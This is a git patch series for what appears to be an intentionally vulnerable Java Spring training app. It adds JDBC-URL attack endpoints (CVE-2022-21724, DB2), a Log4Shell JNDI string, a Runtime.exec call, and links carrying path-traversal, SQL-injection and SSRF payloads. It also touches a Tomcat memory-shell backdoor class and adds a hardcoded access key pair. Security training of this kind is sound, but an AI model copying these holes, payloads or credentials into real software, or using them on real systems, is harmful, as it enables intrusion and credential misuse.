-    <orderEntry type="library" scope="RUNTIME" name="Maven: org.apache.commons:commons-math:2.2" level="project" />
-    <orderEntry type="library" name="Maven: com.netflix.archaius:archaius-core:0.7.4" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: javax.ws.rs:jsr311-api:1.1.1" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.netflix.servo:servo-core:0.10.1" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.netflix.servo:servo-internal:0.10.1" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.sun.jersey:jersey-core:1.19.1" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.sun.jersey:jersey-client:1.19.1" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.sun.jersey.contribs:jersey-apache-client4:1.19.1" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.google.inject:guice:4.0" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: javax.inject:javax.inject:1" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.netflix.governator:governator-api:1.12.10" level="project" />
-    <orderEntry type="library" name="Maven: com.netflix.eureka:eureka-core:1.4.11" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.netflix.governator:governator:1.12.10" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.netflix.governator:governator-core:1.12.10" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.google.inject.extensions:guice-multibindings:4.0" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.google.inject.extensions:guice-grapher:4.0" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.google.inject.extensions:guice-assistedinject:4.0" level="project" />
-    <orderEntry type="library" name="Maven: org.ow2.asm:asm:5.0.4" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: org.codehaus.woodstox:woodstox-core-asl:4.4.1" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: javax.xml.stream:stax-api:1.0-2" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: org.codehaus.woodstox:stax2-api:3.1.4" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.cloud:spring-cloud-starter-netflix-archaius:1.4.0.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: commons-configuration:commons-configuration:1.8" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.cloud:spring-cloud-starter-netflix-ribbon:1.4.0.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: com.netflix.ribbon:ribbon:2.2.0" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.netflix.ribbon:ribbon-transport:2.2.0" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: io.reactivex:rxnetty-contexts:0.4.9" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: io.reactivex:rxnetty-servo:0.4.9" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.netflix.hystrix:hystrix-core:1.5.5" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: org.hdrhistogram:HdrHistogram:2.1.9" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: io.reactivex:rxnetty:0.4.9" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: io.netty:netty-codec-http:4.0.27.Final" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: io.netty:netty-codec:4.0.27.Final" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: io.netty:netty-handler:4.0.27.Final" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: io.netty:netty-transport-native-epoll:4.0.27.Final" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: io.netty:netty-common:4.0.27.Final" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: io.netty:netty-buffer:4.0.27.Final" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: io.netty:netty-transport:4.0.27.Final" level="project" />
-    <orderEntry type="library" name="Maven: com.netflix.ribbon:ribbon-core:2.2.0" level="project" />
-    <orderEntry type="library" name="Maven: com.netflix.ribbon:ribbon-httpclient:2.2.0" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.netflix.netflix-commons:netflix-commons-util:0.1.1" level="project" />
-    <orderEntry type="library" name="Maven: com.netflix.ribbon:ribbon-loadbalancer:2.2.0" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.netflix.netflix-commons:netflix-statistics:0.1.1" level="project" />
-    <orderEntry type="library" name="Maven: io.reactivex:rxjava:1.1.10" level="project" />
-    <orderEntry type="library" name="Maven: com.netflix.ribbon:ribbon-eureka:2.2.0" level="project" />
-    <orderEntry type="library" name="Maven: com.fasterxml.uuid:java-uuid-generator:3.1.4" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.security:spring-security-web:4.2.12.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: aopalliance:aopalliance:1.0" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.security:spring-security-core:4.2.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-beans:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-context:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-core:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-expression:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.security:spring-security-config:4.2.12.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-aop:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-security:2.1.5.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: commons-net:commons-net:3.6" level="project" />
-    <orderEntry type="library" name="Maven: commons-httpclient:commons-httpclient:3.1" level="project" />
-    <orderEntry type="library" name="Maven: org.mybatis.spring.boot:mybatis-spring-boot-starter:1.3.2" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-jdbc:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.tomcat:tomcat-jdbc:8.5.85" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.tomcat:tomcat-juli:8.5.85" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-jdbc:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-tx:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.mybatis.spring.boot:mybatis-spring-boot-autoconfigure:1.3.2" level="project" />
-    <orderEntry type="library" name="Maven: org.mybatis:mybatis:3.4.6" level="project" />
-    <orderEntry type="library" name="Maven: org.mybatis:mybatis-spring:1.3.2" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.velocity:velocity:1.7" level="project" />
-    <orderEntry type="library" name="Maven: com.thoughtworks.xstream:xstream:1.4.10" level="project" />
-    <orderEntry type="library" name="Maven: xmlpull:xmlpull:1.1.3.1" level="project" />
-    <orderEntry type="library" name="Maven: xpp3:xpp3_min:1.1.4c" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.poi:poi:3.10-FINAL" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.poi:poi-ooxml:3.9" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.poi:poi-ooxml-schemas:3.9" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.xmlbeans:xmlbeans:2.3.0" level="project" />
-    <orderEntry type="library" name="Maven: dom4j:dom4j:1.6.1" level="project" />
-    <orderEntry type="library" name="Maven: com.monitorjbl:xlsx-streamer:2.0.0" level="project" />
-    <orderEntry type="library" name="Maven: com.rackspace.apache:xerces2-xsd11:2.11.1" level="project" />
-    <orderEntry type="library" name="Maven: com.rackspace.eclipse.webtools.sourceediting:org.eclipse.wst.xml.xpath2.processor:2.1.100" level="project" />
-    <orderEntry type="library" name="Maven: edu.princeton.cup:java-cup:10k" level="project" />
-    <orderEntry type="library" name="Maven: com.ibm.icu:icu4j:4.6" level="project" />
-    <orderEntry type="library" name="Maven: xml-resolver:xml-resolver:1.2" level="project" />
-    <orderEntry type="library" name="Maven: xml-apis:xml-apis:1.4.01" level="project" />
-    <orderEntry type="library" name="Maven: org.slf4j:slf4j-api:1.7.22" level="project" />
-    <orderEntry type="library" name="Maven: org.jsoup:jsoup:1.10.2" level="project" />
-    <orderEntry type="library" name="Maven: commons-io:commons-io:2.5" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.httpcomponents:httpasyncclient:4.1.4" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.httpcomponents:httpcore-nio:4.4.10" level="project" />
-    <orderEntry type="library" name="Maven: io.springfox:springfox-swagger2:2.9.2" level="project" />
-    <orderEntry type="library" name="Maven: io.swagger:swagger-annotations:1.5.20" level="project" />
-    <orderEntry type="library" name="Maven: io.swagger:swagger-models:1.5.20" level="project" />
-    <orderEntry type="library" name="Maven: io.springfox:springfox-spi:2.9.2" level="project" />
-    <orderEntry type="library" name="Maven: io.springfox:springfox-core:2.9.2" level="project" />
-    <orderEntry type="library" name="Maven: net.bytebuddy:byte-buddy:1.8.12" level="project" />
-    <orderEntry type="library" name="Maven: io.springfox:springfox-schema:2.9.2" level="project" />
-    <orderEntry type="library" name="Maven: io.springfox:springfox-swagger-common:2.9.2" level="project" />
-    <orderEntry type="library" name="Maven: io.springfox:springfox-spring-web:2.9.2" level="project" />
-    <orderEntry type="library" name="Maven: com.fasterxml:classmate:1.3.3" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.plugin:spring-plugin-core:1.2.0.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.plugin:spring-plugin-metadata:1.2.0.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.mapstruct:mapstruct:1.2.0.Final" level="project" />
-    <orderEntry type="library" name="Maven: io.springfox:springfox-swagger-ui:2.9.2" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.projectlombok:lombok:1.18.20" level="project" />
-    <orderEntry type="library" name="Maven: org.yaml:snakeyaml:1.21" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-test:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: junit:junit:4.12" level="project" />
-    <orderEntry type="library" name="Maven: org.hamcrest:hamcrest-core:1.3" level="project" />
-    <orderEntry type="library" name="Maven: commons-beanutils:commons-beanutils:1.9.4" level="project" />
-    <orderEntry type="library" name="Maven: io.jsonwebtoken:jjwt:0.9.1" level="project" />
-    <orderEntry type="library" name="Maven: com.auth0:java-jwt:4.0.0" level="project" />
-    <orderEntry type="library" name="Maven: cn.hutool:hutool-all:5.8.10" level="project" />
-    <orderEntry type="library" name="Maven: org.javassist:javassist:3.27.0-GA" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.data:spring-data-commons:1.13.11.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.slf4j:jcl-over-slf4j:1.7.22" level="project" />
-    <orderEntry type="library" name="Maven: com.jayway.jsonpath:json-path:2.2.0" level="project" />
-    <orderEntry type="library" name="Maven: net.minidev:json-smart:2.2.1" level="project" />
-    <orderEntry type="library" name="Maven: net.minidev:accessors-smart:1.1" level="project" />
-    <orderEntry type="library" name="Maven: org.xmlbeam:xmlprojector:1.4.13" level="project" />
-    <orderEntry type="library" name="Maven: org.postgresql:postgresql:42.3.1" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: org.checkerframework:checker-qual:3.5.0" level="project" />
   </component>
 </module>
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index 8da3449d..e2a62e75 100644
--- a/pom.xml
+++ b/pom.xml
@@ -337,6 +337,13 @@
             <version>42.3.1</version>
         </dependency>
 
+        <!-- jdbc db2 rce -->
+        <dependency>
+            <groupId>com.ibm.db2</groupId>
+            <artifactId>jcc</artifactId>
+            <version>11.5.8.0</version>
+        </dependency>
+
     </dependencies>
 
     <dependencyManagement>
diff --git a/src/main/java/org/joychou/controller/Jdbc.java b/src/main/java/org/joychou/controller/Jdbc.java
new file mode 100644
index 00000000..79154c1e
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Jdbc.java
@@ -0,0 +1,36 @@
+package org.joychou.controller;
+
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.sql.DriverManager;
+
+/**
+ * Jdbc Attack @2023.04
+ */
+@Slf4j
+@RestController
+@RequestMapping("/jdbc")
+public class Jdbc {
+
+    /**
+     * <a href="https://github.com/JoyChou93/java-sec-code/wiki/CVE-2022-21724">CVE-2022-21724</a>
+     */
+    @RequestMapping("/postgresql")
+    public void postgresql(String jdbcUrlBase64) throws Exception{
+        byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
+        String jdbcUrl = new String(b);
+        log.info(jdbcUrl);
+        DriverManager.getConnection(jdbcUrl);
+    }
+
+    @RequestMapping("/db2")
+    public void db2(String jdbcUrlBase64) throws Exception{
+        Class.forName("com.ibm.db2.jcc.DB2Driver");
+        byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
+        String jdbcUrl = new String(b);
+        log.info(jdbcUrl);
+        DriverManager.getConnection(jdbcUrl);
+    }
+}
diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java
index ada8a394..e5dbc83a 100644
--- a/src/main/java/org/joychou/controller/Log4j.java
+++ b/src/main/java/org/joychou/controller/Log4j.java
@@ -26,4 +26,9 @@ public String log4j(String token) {
         }
     }
 
+    public static void main(String[] args) {
+        String poc = "${jndi:ldap://127.0.0.1:1389/f616nl}";
+        logger.error(poc);
+    }
+
 }
diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java
index a87a9672..b64d57bf 100644
--- a/src/main/java/org/joychou/controller/Rce.java
+++ b/src/main/java/org/joychou/controller/Rce.java
@@ -58,8 +58,7 @@ public String CommandExec(String cmd) {
 
 
     /**
-     * http://localhost:8080/rce/ProcessBuilder?cmd=whoami
-     * @param cmd cmd
+     * <a href="http://localhost:8080/rce/ProcessBuilder?cmd=whoami">POC</a>
      */
     @GetMapping("/ProcessBuilder")
     public String processBuilder(String cmd) {
@@ -131,16 +130,10 @@ public void groovyshell(String content) {
         groovyShell.evaluate(content);
     }
 
-    /**
-     * <a href="https://github.com/JoyChou93/java-sec-code/wiki/CVE-2022-21724">CVE-2022-21724</a>
-     */
-    @RequestMapping("/postgresql")
-    public void postgresql(String jdbcUrlBase64) throws Exception{
-        byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
-        String jdbcUrl = new String(b);
-        log.info(jdbcUrl);
-        DriverManager.getConnection(jdbcUrl);
-    }
 
+
+    public static void main(String[] args) throws Exception{
+        Runtime.getRuntime().exec("touch /tmp/x");
+    }
 }
 
diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java
index 08f3073e..58e90739 100644
--- a/src/main/java/org/joychou/controller/XXE.java
+++ b/src/main/java/org/joychou/controller/XXE.java
@@ -436,8 +436,8 @@ public interface UserPayload {
             String getUserName();
         }
 
+    public static void main(String[] args) {
 
-    public static void main(String[] args)  {
     }
 
 }
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
index 71abc91e..c2b3896a 100644
--- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -188,6 +188,7 @@ public static String host2ip(String host) {
             InetAddress IpAddress = InetAddress.getByName(host);
             return IpAddress.getHostAddress();
         } catch (Exception e) {
+            logger.error("host2ip exception " + e.getMessage());
             return "";
         }
     }
@@ -198,45 +199,57 @@ public static String host2ip(String host) {
      * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false.
      */
     public static boolean isOctalIP(String host) {
-        String[] ipParts = host.split("\\.");
-        StringBuilder newDecimalIP = new StringBuilder();
-        boolean is_octal = false;
-
-        // Octal ip only has number and dot character.
-        if (isNumberOrDot(host)) {
-
-            // not support ipv6
-            if (ipParts.length > 4) {
-                throw new SSRFException("Illegal ipv4: " + host);
-            }
-
-            // 01205647351
-            if( ipParts.length == 1 && host.startsWith("0") ) {
-                decimalIp = Integer.valueOf(host, 8).toString();
-                return true;
-            }
+        try{
+            String[] ipParts = host.split("\\.");
+            StringBuilder newDecimalIP = new StringBuilder();
+            boolean is_octal = false;
+
+            // Octal ip only has number and dot character.
+            if (isNumberOrDot(host)) {
+
+                // not support ipv6
+                if (ipParts.length > 4) {
+                    logger.error("Illegal ipv4: " + host);
+                    return false;
+                }
 
-            // 012.23.78.233
-            for(String ip : ipParts) {
-                if (!isNumber(ip)){
-                    throw new SSRFException("Illegal ipv4: " + host);
+                // 01205647351
+                if( ipParts.length == 1 && host.startsWith("0") ) {
+                    decimalIp = Integer.valueOf(host, 8).toString();
+                    return true;
                 }
-                if (ip.startsWith("0")) {
-                    if (Integer.valueOf(ip, 8) >= 256){
-                        throw new SSRFException("Illegal ipv4: " + host);
+
+                // 012.23.78.233
+                for(String ip : ipParts) {
+                    if (!isNumber(ip)){
+                        logger.error("Illegal ipv4: " + host);
+                        return false;
                     }
-                    newDecimalIP.append(Integer.valueOf(ip, 8)).append(".");
-                    is_octal = true;
-                }else{
-                    if (Integer.valueOf(ip, 10) >= 256) {
-                        throw new SSRFException("Illegal ipv4: " + host);
+                    // start with "0", but not "0"
+                    if (ip.startsWith("0") && !ip.equals("0")) {
+                        if (Integer.valueOf(ip, 8) >= 256){
+                            logger.error("Illegal ipv4: " + host);
+                            return false;
+                        }
+                        newDecimalIP.append(Integer.valueOf(ip, 8)).append(".");
+                        is_octal = true;
+                    }else{
+                        if (Integer.valueOf(ip, 10) >= 256) {
+                            logger.error("Illegal ipv4: " + host);
+                            return false;
+                        }
+                        newDecimalIP.append(ip).append(".");
                     }
-                    newDecimalIP.append(ip).append(".");
                 }
+                // delete last char .
+                decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf("."));
             }
-            decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf("."));
+            return is_octal;
+        } catch (Exception e){
+            logger.error("SSRFChecker isOctalIP exception: " + e.getMessage());
+            return false;
         }
-        return is_octal;
+
     }
 
     /**
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index d5c6d5ab..66bdb978 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -9,8 +9,6 @@ logging.level.org.joychou.mapper=debug
 
 # Spring Boot Actuator Config
 management.security.enabled=false
-endpoints.enabled=true
-
 
 # logging.config=classpath:logback-online.xml
 
@@ -55,3 +53,6 @@ joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**,
 
 # http header max size
 #server.max-http-header-size=30000
+
+jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y
+jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7
\ No newline at end of file
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 057aa067..4c116cb3 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -20,6 +20,7 @@
     <a th:href="@{/rce/exec?cmd=whoami}">RCE</a>&nbsp;&nbsp;
     <a th:href="@{/ooxml/upload}">ooxml XXE</a>&nbsp;&nbsp;
     <a th:href="@{/xlsx-streamer/upload}">xlsx-streamer XXE</a>
+    <a th:href="@{/env}">actuator env</a>
 </p>
 
 <P>

From 0c253adbed202b0cbef401a375cfb7b2c8a773e1 Mon Sep 17 00:00:00 2001
From: wzqs <71961807+wzqs@users.noreply.github.com>
Date: Wed, 24 May 2023 22:39:44 +0800
Subject: [PATCH 34/38] Update index.html

fix '/rce/exec' path error
---
 src/main/resources/templates/index.html | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 4c116cb3..7e7061be 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -17,7 +17,7 @@
     <a th:href="@{/path_traversal/vul?filepath=../../../../../etc/passwd}">PathTraversal</a>&nbsp;&nbsp;
     <a th:href="@{sqli/mybatis/vuln01?username=joychou' or '1'='1}">SqlInject</a>&nbsp;&nbsp;
     <a th:href="@{/ssrf/urlConnection/vuln?url=file:///etc/passwd}">SSRF</a>&nbsp;&nbsp;
-    <a th:href="@{/rce/exec?cmd=whoami}">RCE</a>&nbsp;&nbsp;
+    <a th:href="@{/rce/runtime/exec?cmd=whoami}">RCE</a>&nbsp;&nbsp;
     <a th:href="@{/ooxml/upload}">ooxml XXE</a>&nbsp;&nbsp;
     <a th:href="@{/xlsx-streamer/upload}">xlsx-streamer XXE</a>
     <a th:href="@{/env}">actuator env</a>
@@ -31,4 +31,4 @@
 <a th:href="@{/logout}">logout</a>
 
 </body>
-</html>
\ No newline at end of file
+</html>

From 920bd93a25730695985ecd1a8c1bda5c738bbdf5 Mon Sep 17 00:00:00 2001
From: JoyChou <root@joychou.org>
Date: Wed, 27 Dec 2023 12:24:23 +0800
Subject: [PATCH 35/38] fix #78

---
 README.md                                     |  1 +
 README_zh.md                                  |  1 +
 java-sec-code.iml                             |  6 ++
 pom.xml                                       | 65 ++++++++++++++++++-
 src/main/java/org/joychou/Application.java    |  1 -
 .../joychou/config/TomcatFilterMemShell.java  | 19 +-----
 .../org/joychou/controller/Deserialize.java   | 14 ++++
 .../org/joychou/controller/FileUpload.java    |  2 +-
 .../java/org/joychou/controller/Jsonp.java    |  3 +-
 src/main/java/org/joychou/controller/Jwt.java |  4 +-
 .../java/org/joychou/controller/Log4j.java    | 17 ++---
 src/main/java/org/joychou/controller/Rce.java |  1 -
 .../java/org/joychou/controller/Shiro.java    | 49 ++++++++++++++
 .../java/org/joychou/controller/SpEL.java     | 50 ++++++++++----
 .../java/org/joychou/controller/Test.java     | 36 ----------
 .../othervulns/xlsxStreamerXXE.java           |  1 -
 .../org/joychou/security/SecurityUtil.java    |  4 +-
 .../java/org/joychou/util/CookieUtils.java    | 13 ++++
 src/main/resources/application.properties     |  3 +-
 src/main/resources/templates/login.html       |  4 +-
 20 files changed, 203 insertions(+), 91 deletions(-)
 create mode 100644 src/main/java/org/joychou/controller/Shiro.java
 delete mode 100644 src/main/java/org/joychou/controller/Test.java

diff --git a/README.md b/README.md
index 52642169..e7fbef9e 100644
--- a/README.md
+++ b/README.md
@@ -47,6 +47,7 @@ Sort by letter.
   - ScriptEngine
   - Yaml Deserialize  
   - Groovy
+- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java)
 - [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java)
 - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
 - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
diff --git a/README_zh.md b/README_zh.md
index 70e68837..f713e6cc 100644
--- a/README_zh.md
+++ b/README_zh.md
@@ -42,6 +42,7 @@ joychou/joychou123
     - ScriptEngine
     - Yaml Deserialize
     - Groovy
+- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java)
 - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
 - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
 - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)
diff --git a/java-sec-code.iml b/java-sec-code.iml
index 1daccaec..5c58c92b 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -1,5 +1,11 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <module version="4">
+  <component name="AdditionalModuleElements">
+    <content url="file://$MODULE_DIR$" dumb="true">
+      <sourceFolder url="file://$MODULE_DIR$/spring-cloud-gateway-helloworld" isTestSource="false" />
+      <sourceFolder url="file://$MODULE_DIR$/src/main/test" isTestSource="true" />
+    </content>
+  </component>
   <component name="FacetManager">
     <facet type="Spring" name="Spring">
       <configuration />
diff --git a/pom.xml b/pom.xml
index e2a62e75..c62d938c 100644
--- a/pom.xml
+++ b/pom.xml
@@ -12,7 +12,6 @@
     <properties>
         <maven.compiler.source>1.8</maven.compiler.source> <!-- mvn clean package-->
         <maven.compiler.target>1.8</maven.compiler.target>
-        <tomcat.version>8.5.85</tomcat.version>
     </properties>
 
 
@@ -197,11 +196,12 @@
             <version>1.7</version>
         </dependency>
 
-        <!-- rce -->
+
         <dependency>
             <groupId>com.thoughtworks.xstream</groupId>
             <artifactId>xstream</artifactId>
-            <version>1.4.10</version>
+            <!-- For testing, you can use the vulnerable version of 1.4.10. -->
+            <version>1.4.20</version> <!-- use latest version to exploit vuln by using xstream.addPermission-->
         </dependency>
 
         <dependency>
@@ -344,6 +344,65 @@
             <version>11.5.8.0</version>
         </dependency>
 
+        <dependency>
+            <groupId>org.apache.shiro</groupId>
+            <artifactId>shiro-core</artifactId>
+            <version>1.2.4</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.fasterxml.jackson.core</groupId>
+            <artifactId>jackson-databind</artifactId>
+            <version>2.9.8</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.fasterxml.jackson.core</groupId>
+            <artifactId>jackson-annotations</artifactId>
+            <version>2.9.8</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.fasterxml.jackson.core</groupId>
+            <artifactId>jackson-core</artifactId>
+            <version>2.9.8</version>
+        </dependency>
+
+
+        <!-- https://mvnrepository.com/artifact/org.jsecurity/jsecurity -->
+        <dependency>
+            <groupId>org.jsecurity</groupId>
+            <artifactId>jsecurity</artifactId>
+            <version>0.9.0</version>
+        </dependency>
+
+
+        <!-- 为了使用SimpleEvaluationContext，该类需要spring-expression版本大于等于4.3.15 -->
+        <dependency>
+            <groupId>org.springframework</groupId>
+            <artifactId>spring-expression</artifactId>
+            <version>4.3.16.RELEASE</version>
+        </dependency>
+
+        <!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
+        <dependency>
+            <groupId>com.h2database</groupId>
+            <artifactId>h2</artifactId>
+            <version>1.4.199</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.apache.tomcat</groupId>
+            <artifactId>tomcat-dbcp</artifactId>
+            <version>9.0.8</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.alibaba</groupId>
+            <artifactId>QLExpress</artifactId>
+            <version>3.3.1</version>
+        </dependency>
     </dependencies>
 
     <dependencyManagement>
diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java
index 41169b9a..afdf6f56 100644
--- a/src/main/java/org/joychou/Application.java
+++ b/src/main/java/org/joychou/Application.java
@@ -5,7 +5,6 @@
 import org.springframework.boot.builder.SpringApplicationBuilder;
 import org.springframework.boot.web.servlet.ServletComponentScan;
 import org.springframework.boot.web.support.SpringBootServletInitializer;
-import org.springframework.cloud.netflix.eureka.EnableEurekaClient;
 
 
 @ServletComponentScan // do filter
diff --git a/src/main/java/org/joychou/config/TomcatFilterMemShell.java b/src/main/java/org/joychou/config/TomcatFilterMemShell.java
index be7a1b1c..15822d59 100644
--- a/src/main/java/org/joychou/config/TomcatFilterMemShell.java
+++ b/src/main/java/org/joychou/config/TomcatFilterMemShell.java
@@ -1,10 +1,5 @@
 package org.joychou.config;
 
-import com.sun.org.apache.xalan.internal.xsltc.DOM;
-import com.sun.org.apache.xalan.internal.xsltc.TransletException;
-import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
-import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
-import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 import java.lang.reflect.Field;
 import org.apache.catalina.core.StandardContext;
 import java.io.IOException;
@@ -19,8 +14,8 @@
 import javax.servlet.*;
 import java.util.*;
 
-@Component
-public class TomcatFilterMemShell extends AbstractTranslet implements Filter {
+//@Component
+public class TomcatFilterMemShell implements Filter {
     static{
         try {
             System.out.println("Tomcat filter backdoor class is loading...");
@@ -75,16 +70,6 @@ public class TomcatFilterMemShell extends AbstractTranslet implements Filter {
     }
 
 
-    @Override
-    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
-
-    }
-
-    @Override
-    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
-
-    }
-
     @Override
     public void init(FilterConfig filterConfig) throws ServletException {
 
diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java
index 1ca5ff43..55c82ab2 100644
--- a/src/main/java/org/joychou/controller/Deserialize.java
+++ b/src/main/java/org/joychou/controller/Deserialize.java
@@ -1,5 +1,6 @@
 package org.joychou.controller;
 
+import com.fasterxml.jackson.databind.ObjectMapper;
 import org.joychou.config.Constants;
 import org.joychou.security.AntObjectInputStream;
 import org.slf4j.Logger;
@@ -83,4 +84,17 @@ public String rememberMeBlackClassCheck(HttpServletRequest request)
         return "I'm very OK.";
     }
 
